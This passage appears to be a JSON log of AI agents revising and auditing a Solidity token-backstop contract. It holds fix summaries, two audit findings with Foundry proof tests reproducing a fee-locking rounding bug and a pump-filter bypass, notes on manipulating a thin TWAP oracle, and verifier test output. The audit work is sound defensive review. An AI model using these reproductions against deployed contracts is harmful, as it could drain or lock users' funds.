loan or a second wallet gets around it.\n- **The 30-minute average price** can still be pushed by someone willing to hold a skewed price for many blocks; the README covers this risk.\n- **Left out:** Backstop's AMM sale of leftover lots, its return tickets, SOL treasury floor, launchpad, lending yield and AI agent. I also used no randomness when splitting lots.\n- **$SHIFT:** I couldn't find NIGHTSHIFT's $SHIFT contract or which chain it's on, so only the IMD version is set up. The same contract can be deployed again for $SHIFT once you give me its address.\n\nPassing tests are not an a","treeHash":"01529ac7925be49dcf34ac9e5263aa44e7f16372","usage":{"cachedInputTokens":2075468,"chain":[{"calls":16,"chainId":1,"failed":0,"own":16,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":2540641},"inputTokens":57,"model":"claude-opus-5-5","outputTokens":62205,"runtime":"claude","turns":34,"wallClockMs":680073}},{"artifacts":[],"attempt":1,"bundleHash":"539fe5e62dd2ad398f3b4172cc743e82a8f2d6707d4a282f3544729e1bfe414c","device":"72b617d4b615473a","findings":[],"hash":"e4e4f3b827afa7272041a0433acc7d3bc6a34815c2bc1d59e5eb780daf0c94a9","nodeId":"c57a9951-9528-4b29-a326-0fa13a806c41","outcome":"completed","summary":"All nine findings are answered and the four proof tests that failed on the starting tree now pass. `forge build` and `forge test` (62 tests including the four proofs, with the verifier's fuzz seed and with a random one) pass, and `forge fmt --check` is clean on the deliverable paths (it flags only the unformatted proof copies in `test/scratch/`).\n\nChanges are in `src/NightshiftBackstop.sol`, `test/NightshiftBackstop.t.sol` and `README.md`; answers are in `.imd-responses.json`. The constructor is unchanged, so the launch arguments stay as they were. Nothing was committed.\n\n## What changed, per finding\n\n| Finding | Verdict | Change |\n|---|---|---|\n| `3cfa10b8` Shield buys at a stale price | fixed | `settle()` re-reads the pool; the Shield buys only if the frozen `lotCost` is at or below the TWAP at settlement. An unreadable pool means the Shield buys nothing, and settlement never reverts. |\n| `0db48e48` owner drains via `setPriceSource` | fixed | First source is immediate; any replacement is scheduled and applied 37 days later (`applyPriceSource`, `cancelPriceSourceChange`). `shieldDeposit` now requires a configured source. |\n| `4d455a6d` late Shield deposit | fixed for (a) only | The Shield's slice is reserved at `createOffer` from the deposits present then. Withdrawals cannot take reserved funds. |\n| `7cf3ccaf` no price bound | fixed | New `createOffer(amount, minLotCost, validUntil)`. |\n| `6b5b6e39` fee share to dust / 1 wei | fixed | The Shield earns 80 % of the fee only on lots it absorbed; the rest goes to the treasury. |\n| `d9baab10` split offers | fixed | The 50 % limit now covers all unsettled offers together. |\n| `db30fb3b` momentum 0 on rounding | fixed | A rise from a zero past value reports maximum momentum and trips the pump filter. |\n| `945afd04` pause shuts bidders out | fixed | `placeBid` is no longer pausable. |\n| `b368de1b` blocked recipient loses IMD leg | fixed | Added `claimSellerTo`, `claimBidTo`, `shieldClaimGainsTo`, `shieldWithdrawTo`. |\n\n## Not done, and why\n\n- **Late-deposit dilution and pre-settlement exit (parts b and c of `4d455a6d`)**: lots are still shared among deposits present at settlement. A deposit made during the window shares the reserved slice, and unreserved funds can still leave before settlement. Fixing the cohort exactly needs absorption at creation, which the first finding's proof rules out, or a per-offer deposit queue I judged too large for a revision.\n- **Liquidity or cardinality floor in `setPriceSource`**: the proofs' pool stand-ins expose only `token0`, `token1` and `observe`, so a mandatory check would make all four proofs revert.\n- **Binding the source to the Uniswap factory**: the proofs install non-factory pools on an empty chain, and a factory pool can be just as empty.\n- **The one-argument `createOffer(amount)` stays unbounded**: the proofs call it. Its NatSpec and the README say not to send it through a public mempool.\n\n## Things the reviewer should know\n\n- **Fee split changed.** The first version paid the Shield 80 % of every fee whenever it was non-empty. It now gets 80 % only on lots it absorbed, so the treasury (the owner) receives the whole fee on bidder-filled lots. This was the reviewer's suggested fix, but it shifts economics toward the owner.\n- **The launch pool is not a sound oracle.** I re-read the 0.3 % pool on chain 1: 0.21 USDC against 6,551.85 IMD, observation cardinality 1. A seller who holds the TWAP from 90 minutes before `createOffer` until the settle block still sells high to the Shield's slice. The README now warns the owner about this pool and corrects the earlier \"cannot move escrowed funds\" claim to say the price source is trusted.\n- Tests are not an audit; the contract holds user funds and needs an independent adversarial review before release.","treeHash":"8e035629ed5c6271643c5578e19456af1926d323","usage":{"cachedInputTokens":1902458,"chain":[{"calls":3,"chainId":1,"failed":0,"own":3,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":8429068},"inputTokens":28,"model":"claude-fable-5-1","outputTokens":90971,"runtime":"claude","turns":18,"wallClockMs":919074}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"29ea8835baa3dfe1","findings":[{"citation":"resolved","description":"Numerical gap (precision x boundary x invariant). _shieldAbsorb rounds P down (newP = floor(p*(total-debt)/total)) while it lowers shieldTotalDeposits by the exact debt. Each compounded deposit is floor(initial*P/snapP), so the sum of what depositors can withdraw is below shieldTotalDeposits. After the last depositor withdraws their whole compounded deposit, shieldTotalDeposits is a few base units of dust that no account owns. settle() only treats the Shield as empty when shieldTotalDeposits == 0. With dust present it adds shieldFee*P/dust to shieldG[shieldScale], and no deposit snapshot can ever claim that: no account has initial > 0, and new depositors snapshot the already-increased G. 80% of each fee then stays in the contract with nobody able to claim it, and treasuryAccrued gets only 20%. The README promises otherwise: 'If the Shield is empty, the whole fee goes to the treasury.' This keeps happening on every settled offer until somebody deposits again, and the Shield reaches this state whenever it has absorbed an offer and then been fully withdrawn. That is the normal lifecycle once the 30-day lock ends. Fix: keep enough state to know whether any live deposit remains. For example, count depositors with initial > 0 and zero shieldTotalDeposits when the count reaches 0, or send the fee to the treasury when the count is 0. Alternatively, round P so that the sum of compounded deposits equals the total.","line":395,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\n/// @dev Uniswap v3 pool stand-in with a flat TWAP at `tick`.\ncontract FlatPool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function set(int24 t) external {\n        tick = t;\n    }\n\n    function observe(uint32[] calldata) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](4);\n        l = new uint160[](4);\n        c[1] = int56(tick) * 1800;\n        c[2] = c[1] + int56(tick) * 1800;\n        c[3] = c[2] + int56(tick) * 1800;\n    }\n}\n\n/// Once the only Shield depositor has withdrawn everything, rounding dust keeps shieldTotalDeposits > 0,\n/// so 80 % of every later fee is credited to G for nobody instead of going to the treasury.\ncontract ShieldDustFeeTest is Test {\n    Tok imd;\n    Tok usdc;\n    NightshiftBackstop bs;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bidder = makeAddr(\"bidder\");\n    address shielder = makeAddr(\"shielder\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        // Launch values: 1,000 IMD minimum offer, 10,000 USDC Shield cap per offer, no holder check.\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1000e18, 10_000e6, 0);\n        FlatPool pool = new FlatPool(address(imd), address(usdc));\n        // ~3.15 USDC per IMD (mainnet pool tick 264331, USDC is token0 there).\n        pool.set(address(imd) < address(usdc) ? int24(-264331) : int24(264331));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bidder, shielder];\n        for (uint256 i; i < 3; ++i) {\n            imd.mint(u[i], 1_000_000e18);\n            usdc.mint(u[i], 1_000_000e6);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n    }\n\n    function test_feeGoesToTreasuryOnceShieldIsEmptied() public {\n        // 1. One depositor, 1,000.000007 USDC. One offer, Shield absorbs 15 lots.\n        vm.prank(shielder);\n        bs.shieldDeposit(1_000_000_007); // 1,000.000007 USDC\n        vm.prank(seller);\n        uint256 id1 = bs.createOffer(1_000e18);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id1);\n        assertEq(bs.getOffer(id1).shieldLots, 15);\n\n        // 2. After the lock, the depositor withdraws their whole compounded deposit.\n        vm.warp(block.timestamp + 30 days);\n        (uint256 dep,,,) = bs.shieldPosition(shielder);\n        vm.prank(shielder);\n        bs.shieldWithdraw(dep);\n        (uint256 left,,,) = bs.shieldPosition(shielder);\n        assertEq(left, 0, \"no depositor left\");\n        uint256 dust = bs.shieldTotalDeposits();\n        assertGt(dust, 0, \"rounding dust stays counted as deposits\");\n\n        // 3. A new offer filled by a bidder: the Shield is empty, so the README says the whole fee is treasury's.\n        uint256 treasuryBefore = bs.treasuryAccrued();\n        vm.prank(seller);\n        uint256 id2 = bs.createOffer(1_000e18);\n        vm.prank(bidder);\n        bs.placeBid(id2, 100);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id2);\n        NightshiftBackstop.Offer memory o = bs.getOffer(id2);\n        uint256 fee = 100 * o.lotCost - o.sellerProceeds;\n        assertGt(fee, 0);\n        assertEq(bs.treasuryAccrued() - treasuryBefore, fee, \"treasury should receive the whole fee\");\n    }\n}","reproduction":"Launch values: minOfferSize 1000e18, shieldPerOfferCap 10_000e6, USDC with 6 decimals, flat TWAP at the mainnet tick 264331, so lotCost = 31_517_233 for 10 IMD lots. 1) shielder.shieldDeposit(1_000_000_007). 2) seller.createOffer(1_000e18); after 1 h, settle(1): the Shield absorbs 15 lots (debt 472_758_495) and P is rounded down. 3) After 30 days, shielder.shieldWithdraw(compounded) withdraws everything: shieldPosition(shielder).deposit == 0, but shieldTotalDeposits == 1. 4) seller.createOffer(1_000e18); bidder.placeBid(2, 100); after 1 h, settle(2). Fee = 94_551_699 (94.55 USDC). Expected: treasuryAccrued rises by 94_551_699. Actual: it rises by 18_910_340, and 75_641_359 USDC units are credited to shieldG for nobody. They are locked permanently, since there is no sweep. The attached test fails with 'treasury should receive the whole fee: 18910340 != 94551699'.","severity":"medium","snippet":"        if (shieldFee != 0 && shieldTotalDeposits != 0) {\n            shieldG[shieldScale] += UniV3Math.mulDiv(shieldFee, shieldP, shieldTotalDeposits);","title":"Rounding dust left in shieldTotalDeposits after the last depositor exits locks 80% of every later fee forever instead of sending it to the treasury"},{"citation":"resolved","description":"Boundary x precision. pricePast is getQuoteAtTick(tickPast, lotSize), which rounds down to whole quote base units. When the older 30-minute window values one lot at under 1 base unit (1e-6 USDC), pricePast is 0. The rise to priceNow is then effectively infinite, but the code reports momentumBps = 0. At momentum 0 the discount is the 5% base rather than the 12% maximum, and shieldEligible = (0 <= SHIELD_MAX_PREMIUM_BPS) is true. So the Shield takes its priority slice of an offer priced right after the largest possible pump, which is exactly the case the pump filter exists to block. The result is not monotonic: a smaller rise, where pricePast is 1, gives momentum of about 1e9 bps, a 12% discount and no Shield slice, while a larger rise gives momentum 0. Precondition: with lotSize >= minOfferSize/100 = 10 IMD, the older window's mean price must be below 1e-7 USDC per IMD, about 3e7 times below the current mainnet tick. That takes a deep TWAP move of the price-source pool held for 30 minutes, or a deployment for a very low-priced token (the README suggests redeploying for $SHIFT). Fix: revert (or set shieldEligible = false and the maximum discount) when pricePast == 0. Better, derive momentum from the tick difference (tickNow - tickPast), which never rounds to zero.","line":312,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\n/// @dev Uniswap v3 pool stand-in: mean tick `past` over the older window, `now_` over the latest one.\ncontract TwoTickPool {\n    address public token0;\n    address public token1;\n    int24 public past;\n    int24 public now_;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function set(int24 p, int24 n) external {\n        past = p;\n        now_ = n;\n    }\n\n    function observe(uint32[] calldata) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](4);\n        l = new uint160[](4);\n        c[1] = int56(past) * 1800;\n        c[2] = c[1] + int56(now_) * 1800;\n        c[3] = c[2] + int56(now_) * 1800;\n    }\n}\n\n/// When the older TWAP prices a lot at under one quote unit, quoteLot reports zero momentum, so the\n/// +20 % pump filter and the up-move discount are skipped even though the price rose by orders of magnitude.\ncontract PumpFilterBoundaryTest is Test {\n    NightshiftBackstop bs;\n    TwoTickPool pool;\n    address imd = address(0x1111);\n    address usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n    function setUp() public {\n        bs = new NightshiftBackstop(address(this), imd, usdc, 1000e18, 10_000e6, 0);\n        pool = new TwoTickPool(imd, usdc);\n        bs.setPriceSource(address(pool));\n    }\n\n    /// @dev Tick at which IMD is worth `t` in the pool's orientation (USDC is token0 when its address sorts first).\n    function _t(int24 t) internal view returns (int24) {\n        return usdc < imd ? t : -t;\n    }\n\n    function test_zeroPastPriceSkipsPumpFilter() public {\n        // Older window: 10 IMD worth 1 USDC base unit (pricePast == 1). Latest window: ~3.15 USDC per IMD.\n        pool.set(_t(437_000), _t(264_331));\n        (uint256 cost1, uint256 disc1, int256 mom1) = bs.quoteLot(10e18);\n        assertGt(mom1, 2000);\n        assertEq(disc1, 1200);\n\n        // Older window a little lower still: pricePast floors to 0, so momentum is reported as 0.\n        pool.set(_t(460_000), _t(264_331));\n        (uint256 cost2, uint256 disc2, int256 mom2) = bs.quoteLot(10e18);\n        emit log_named_int(\"momentum with pricePast == 0\", mom2);\n        emit log_named_uint(\"discount with pricePast == 0\", disc2);\n        assertEq(cost1 < cost2, true, \"lot is priced higher after an even larger rise\");\n        // A larger rise must not look like a smaller one: momentum must still trip the pump filter.\n        assertGt(mom2, 2000, \"pump filter skipped: Shield would buy at the pumped price\");\n    }\n}","reproduction":"Deploy with the launch values (minOfferSize 1000e18, cap 10_000e6) and the mainnet USDC address. Use a pool stand-in whose older-window mean tick and latest-window mean tick are set separately, oriented so that USDC is token0 as on mainnet. (a) tickPast 437000, tickNow 264331: quoteLot(10e18) gives pricePast = 1, momentum > 2000, discount 1200 and shieldEligible false. (b) tickPast 460000 (lower still), tickNow 264331: quoteLot(10e18) gives pricePast = 0, momentumBps = 0, discount 500, and createOffer would set shieldEligible = true. Expected: the larger rise trips the pump filter (momentum > 2000). Actual: momentum 0. The attached test fails with 'pump filter skipped: Shield would buy at the pumped price: 0 <= 2000'.","severity":"low","snippet":"        momentumBps =\n            pricePast == 0 ? int256(0) : (int256(priceNow) - int256(pricePast)) * int256(BPS) / int256(pricePast);","title":"quoteLot reports zero momentum when the past TWAP price of a lot rounds to 0, skipping the +20% pump filter and the up-move discount"}],"hash":"ecb7cfd9aa472b6d5394b4efd48148cce07b463e54fec2af208de6e02267b5a4","nodeId":"6d93d52c-70fe-4c08-b45a-48eb12900639","outcome":"completed","summary":"I found two defects in the math of `NightshiftBackstop`, each reproduced by a Foundry test that fails on the current code. Both are in `.imd-findings.json` with their tests, plus one coverage row for each of the 14 entry points and two rows for invariants I checked. No source files were changed. I deleted my scratch tests and the `out/` and `cache/` build folders afterwards.\n\n**1. Medium: 80% of fees can get locked forever once the Shield is emptied** (`src/NightshiftBackstop.sol:395`)\n- **Cause:** when the Shield buys lots, each depositor's share is rounded down but the recorded total drops by the exact amount spent. So after the last depositor withdraws everything, a unit or so of dust that nobody owns stays in `shieldTotalDeposits`.\n- **Effect:** `settle` only treats the Shield as empty when that total is exactly 0. While dust remains, it credits 80% of each fee to the Shield's fee accumulator, where no account can ever claim it, and the treasury gets only 20%. The README says the whole fee goes to the treasury when the Shield is empty.\n- **Reproduction:** I used the launch values and the live mainnet price. One depositor puts in 1,000.000007 USDC, the Shield buys 15 lots, and the depositor withdraws everything after 30 days. On the next fully bid offer, the treasury received 18.91 of a 94.55 USDC fee, and 75.64 USDC was locked. This happens on every offer until someone deposits again.\n\n**2. Low: the +20% pump filter is skipped when the older price rounds to 0** (`src/NightshiftBackstop.sol:312`)\n- **Cause:** when the older 30-minute TWAP values a lot at under one USDC base unit, the price change is reported as 0.\n- **Effect:** the Shield then buys at the pumped price with a 5% discount. A smaller rise, where the older price is 1 base unit, correctly gives a 12% discount and no Shield purchase.\n- **Why low:** with the launch values it needs IMD's older TWAP about 3×10⁷ times below today's price. A redeploy for a very cheap token would make it easier.\n\n**What I checked and found sound:**\n- **Ported Uniswap math:** I compared all 20 tick-bit outputs against exact values and fuzzed `mulDiv` and the mean-tick rounding; they match Uniswap.\n- **Static-analysis leads:** the high slither/aderyn flag on `^ 2` is the correct XOR seed from Uniswap's `FullMath`, so it is a false positive. The `uint16` cast is safe because the discount is at most 1,200 bps. The divide-before-multiply warnings are either intended or lose only dust: rescaling the Shield's running product loses at most 2×10⁻⁹ of deposits.\n- **Shield accounting:** over 300 fuzz runs of 90 Shield purchases each, crossing at least one rescale, depositors could never claim more than the contract holds, in deposits or in tokens.\n- **Bid allocation:** filled lots always add up exactly to the lots sold, and no refund can go negative.\n- **Fees and boundaries:** fee rounding and the deadline and lock-time edges behave as documented.\n\n**Not covered in depth (outside the math area):**\n- **Cost of moving the price feed:** the README's IMD/USDC 0.3% pool holds about 0.21 USDC and about 6,551 IMD. How cheaply its TWAP can be pushed up to make the Shield overpay depends on liquidity ranges I didn't read.\n- **Last-minute Shield deposits:** someone depositing just before `settle` to collect discounted tokens and fees, then claiming those gains while their deposit stays locked, is an economics question I didn't reproduce.","treeHash":null,"usage":{"cachedInputTokens":2234767,"chain":[{"calls":4,"chainId":1,"failed":0,"own":4,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":2186509},"inputTokens":52,"model":"claude-opus-5-5","outputTokens":43723,"runtime":"claude","turns":30,"wallClockMs":475591}}],"verification":[{"checks":[{"durationMs":2705,"exitCode":0,"name":"build","output":"Compiling 26 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.60s\nCompiler run successful!\n","passed":true},{"durationMs":250,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 7301905)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 676.08µs (406.86µs CPU time)\n\nRan 57 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2356652, ~: 2308492)\nLogs:\n  Bound result 4\n  Bound result 2165\n  Bound result 12374\n  Bound result 84\n  Bound result 29\n  Bound result 68\n  Bound result 35\n\n[PASS] testFuzz_multiOfferShieldConservation(uint96,uint8,uint256) (runs: 256, μ: 3099159, ~: 2583361)\nLogs:\n  Bound result 49999000000000000000207\n  Bound result 2\n\n[PASS] test_bidRules() (gas: 458541)\n[PASS] test_blockedRecipientClaimsToAnotherAddress() (gas: 6756614)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5777057)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 340732)\n[PASS] test_claimRules() (gas: 854700)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3607698)\n[PASS] test_constructorRejectsBadArgs() (gas: 1177430)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57120)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 250877)\n[PASS] test_createOfferTooSmall() (gas: 39846)\n[PASS] test_createOfferWithPriceBound() (gas: 439253)\n[PASS] test_depositDuringWindowDoesNotEnlargeShieldSlice() (gas: 792724)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127095)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128213)\n[PASS] test_dustLeftInShieldDoesNotStrandFees() (gas: 1454980)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4917384)\n[PASS] test_fullCoverageNoShield() (gas: 990927)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 251417)\n[PASS] test_lateShieldDepositDoesNotJoinOffer() (gas: 723272)\n[PASS] test_lockedDepositorCanLeaveBeforeNewPriceSource() (gas: 881427)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7044)\n[PASS] test_meanTickRoundsDown() (gas: 5542)\n[PASS] test_momentumSaturatesWhenPastValueRoundsToZero() (gas: 5274881)\n[PASS] test_noBidsReturnsEverything() (gas: 356022)\n[PASS] test_oneWeiDepositEarnsNoFees() (gas: 699834)\n[PASS] test_oversubscribedProRata() (gas: 914207)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 953775)\n[PASS] test_pauseDoesNotShutBiddersOut() (gas: 848067)\n[PASS] test_priceSourceChangeCanBeCancelledAndRescheduled() (gas: 793270)\n[PASS] test_priceSourceChangeIsDelayed() (gas: 1056459)\n[PASS] test_pumpFilterSkipsShield() (gas: 503891)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28941)\n[PASS] test_redepositRestartsLock() (gas: 301856)\n[PASS] test_reentrancyBlocked() (gas: 5739541)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 4799148)\n[PASS] test_setTreasury() (gas: 103534)\n[PASS] test_settleRules() (gas: 335972)\n[PASS] test_shieldBuysDownToTheFrozenPriceAndNotBelow() (gas: 1048123)\n[PASS] test_shieldDepositNeedsPriceSource() (gas: 3924731)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6878688)\n[PASS] test_shieldDoesNotBuyAboveSettlementTwap() (gas: 923526)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4998237)\n[PASS] test_shieldLockAndWithdraw() (gas: 442142)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 6137902)\n[PASS] test_shieldSharedProRata() (gas: 806413)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 1076601)\n[PASS] test_shieldZeroDeposit() (gas: 39420)\n[PASS] test_splitOffersShareOneShieldBudget() (gas: 1743474)\n[PASS] test_sqrtRatioKnownValues() (gas: 6735)\n[PASS] test_twoStepOwnership() (gas: 177237)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 591608)\n[PASS] test_unreadablePoolAtSettlementSkipsShieldOnly() (gas: 810555)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3695245)\n[PASS] test_withdrawCannotTakeFundsReservedForOpenOffers() (gas: 1001347)\n[PASS] test_withdrawTreasuryNothing() (gas: 36787)\nSuite result: ok. 57 passed; 0 failed; 0 skipped; finished in 136.03ms (274.18ms CPU time)\n\nRan 2 test suites in 137.36ms (136.71ms CPU time): 58 tests passed, 0 failed, 0 skipped (58 total tests)\n","passed":true},{"durationMs":42,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NightshiftBackstop.acceptOwnership()\",\"NightshiftBackstop.applyPriceSource()\",\"NightshiftBackstop.cancelPriceSourceChange()\",\"NightshiftBackstop.claimBid(uint256)\",\"NightshiftBackstop.claimBidTo(uint256,address)\",\"NightshiftBackstop.claimSeller(uint256)\",\"NightshiftBackstop.claimSellerTo(uint256,address)\",\"NightshiftBackstop.createOffer(uint256)\",\"NightshiftBackstop.createOffer(uint256,uint256,uint256)\",\"NightshiftBackstop.placeBid(uint256,uint256)\",\"NightshiftBackstop.setPaused(bool)\",\"NightshiftBackstop.setPriceSource(address)\",\"NightshiftBackstop.setTreasury(address)\",\"NightshiftBackstop.settle(uint256)\",\"NightshiftBackstop.shieldClaimGains()\",\"NightshiftBackstop.shieldClaimGainsTo(address)\",\"NightshiftBackstop.shieldDeposit(uint256)\",\"NightshiftBackstop.shieldWithdraw(uint256)\",\"NightshiftBackstop.shieldWithdrawTo(uint256,address)\",\"NightshiftBackstop.transferOwnership(address)\",\"NightshiftBackstop.withdrawTreasury()\"],\"files\":{\".gitignore\":3,\"README.md\":231,\"foundry.toml\":17,\"launch.json\":17,\"remappings.txt\":1,\"script/DeployNightshiftBackstop.s.sol\":47,\"src/NightshiftBackstop.sol\":752,\"src/libraries/UniV3Math.sol\":173,\"test/DeployNightshiftBackstop.t.sol\":29,\"test/NightshiftBackstop.t.sol\":1256,\"test/mocks/Mocks.sol\":135},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"018a8c5dae563a9d4dcac8443676ba21882e392e5a680d2ef0140db4fc7cb6ba","verifiedTreeHash":"cbea16cf339d9bf99f747bcbe937ae3bf688f3db","verifierVersion":"0.1.0+6b1a2333"},{"checks":[{"durationMs":4258,"exitCode":0,"name":"build","output":"Compiling 32 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.16s\nCompiler run successful!\n","passed":true},{"durationMs":18214,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/DeployNightshiftBackstop.t.sol:DeployNightshiftBackstopTest\n[PASS] test_defaultConfigDeploysOnEmptyChain() (gas: 6458388)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 587.87µs (334.78µs CPU time)\n\nRan 39 tests for test/NightshiftBackstop.t.sol:NightshiftBackstopTest\n[PASS] testFuzz_conservation(uint8,uint256,uint96,int16) (runs: 256, μ: 2298901, ~: 2347253)\nLogs:\n  Bound result 0\n  Bound result 11\n  Bound result 11267101192351130\n\n[PASS] test_bidRules() (gas: 462429)\n[PASS] test_blockedRecipientDoesNotFreezeOthers() (gas: 5336659)\n[PASS] test_brokenOracleBlocksOfferButNotSettlement() (gas: 329913)\n[PASS] test_claimRules() (gas: 850079)\n[PASS] test_constructorNeedsNoCodeAtAddresses() (gas: 3169700)\n[PASS] test_constructorRejectsBadArgs() (gas: 1079137)\n[PASS] test_constructorSetsOwnerNotDeployer() (gas: 57128)\n[PASS] test_createOfferEscrowsWholeLots() (gas: 241412)\n[PASS] test_createOfferTooSmall() (gas: 39779)\n[PASS] test_discountFallsWithNegativeMomentumAndClamps() (gas: 127061)\n[PASS] test_discountRisesWithMomentumAndClamps() (gas: 128135)\n[PASS] test_feeOnTransferTokenRejected() (gas: 4472041)\n[PASS] test_fullCoverageNoShield() (gas: 986611)\n[PASS] test_lateBidRejectedAtDeadline() (gas: 244148)\n[PASS] test_mathMatchesMainnetPoolScale() (gas: 7088)\n[PASS] test_meanTickRoundsDown() (gas: 5519)\n[PASS] test_noBidsReturnsEverything() (gas: 349536)\n[PASS] test_oversubscribedProRata() (gas: 914437)\n[PASS] test_pauseBlocksEntryButNotExit() (gas: 778312)\n[PASS] test_pumpFilterSkipsShield() (gas: 493045)\n[PASS] test_quoteAtZeroMomentumUsesBaseDiscount() (gas: 28947)\n[PASS] test_redepositRestartsLock() (gas: 297403)\n[PASS] test_reentrancyBlocked() (gas: 5297070)\n[PASS] test_setPriceSourceOnlyOwnerAndMatchingPool() (gas: 1173721)\n[PASS] test_setTreasury() (gas: 103350)\n[PASS] test_settleRules() (gas: 329442)\n[PASS] test_shieldDepositsBeyondTwoScalesCompoundToZero() (gas: 6381470)\n[PASS] test_shieldLimitedByCapAndFunds() (gas: 4410369)\n[PASS] test_shieldLockAndWithdraw() (gas: 437621)\n[PASS] test_shieldScaleChangeKeepsAccounting() (gas: 5639960)\n[PASS] test_shieldSharedProRata() (gas: 731820)\n[PASS] test_shieldTakesPrioritySliceAndEarnsFees() (gas: 993650)\n[PASS] test_shieldZeroDeposit() (gas: 39442)\n[PASS] test_sqrtRatioKnownValues() (gas: 6823)\n[PASS] test_twoStepOwnership() (gas: 177254)\n[PASS] test_undersubscribedReturnsRemainderToSeller() (gas: 587420)\n[PASS] test_unsetPriceSourceBlocksOffers() (gas: 3255052)\n[PASS] test_withdrawTreasuryNothing() (gas: 36719)\nSuite result: ok. 39 passed; 0 failed; 0 skipped; finished in 163.14ms (174.97ms CPU time)\n\nRan 22 tests for test/NightshiftFailurePaths.t.sol:NightshiftFailurePathsTest\n[PASS] testFuzz_badTransferReturnRollsBackIntake(uint8) (runs: 512, μ: 490337, ~: 490442)\nLogs:\n  Bound result 5\n\n[PASS] testFuzz_badTransferReturnRollsBackPayout(uint8) (runs: 512, μ: 765478, ~: 765583)\nLogs:\n  Bound result 5\n\n[PASS] testFuzz_callbacksCannotReenterCustody(uint8,uint8) (runs: 512, μ: 1138758, ~: 1140497)\nLogs:\n  Bound result 4\n  Bound result 0\n\n[PASS] test_approvalFailureRollsBackOfferAndAllowsRetry() (gas: 460231)\n[PASS] test_bidRefundFailureRollsBackTokensAndCanRetry() (gas: 1081494)\n[PASS] test_constructorRejectsEitherZeroAsset() (gas: 361859)\n[PASS] test_deadlineMinusOneAndExactDeadlineAreComplementary() (gas: 584833)\n[PASS] test_emptyAccountGainsClaimCannotCollectOthersRewards() (gas: 645810)\n[PASS] test_exactHolderThresholdAndBalanceAtSecondBid() (gas: 504210)\n[PASS] test_failedGainPaymentPreservesSnapshotsAndPrincipal() (gas: 1049484)\n[PASS] test_failedRedepositDoesNotPayGainsOrRestartLock() (gas: 856858)\n[PASS] test_failedTreasuryTransferCanBeReroutedByOwner() (gas: 756905)\n[PASS] test_insufficientQuoteRollsBackBidPrefixAndId() (gas: 711193)\n[PASS] 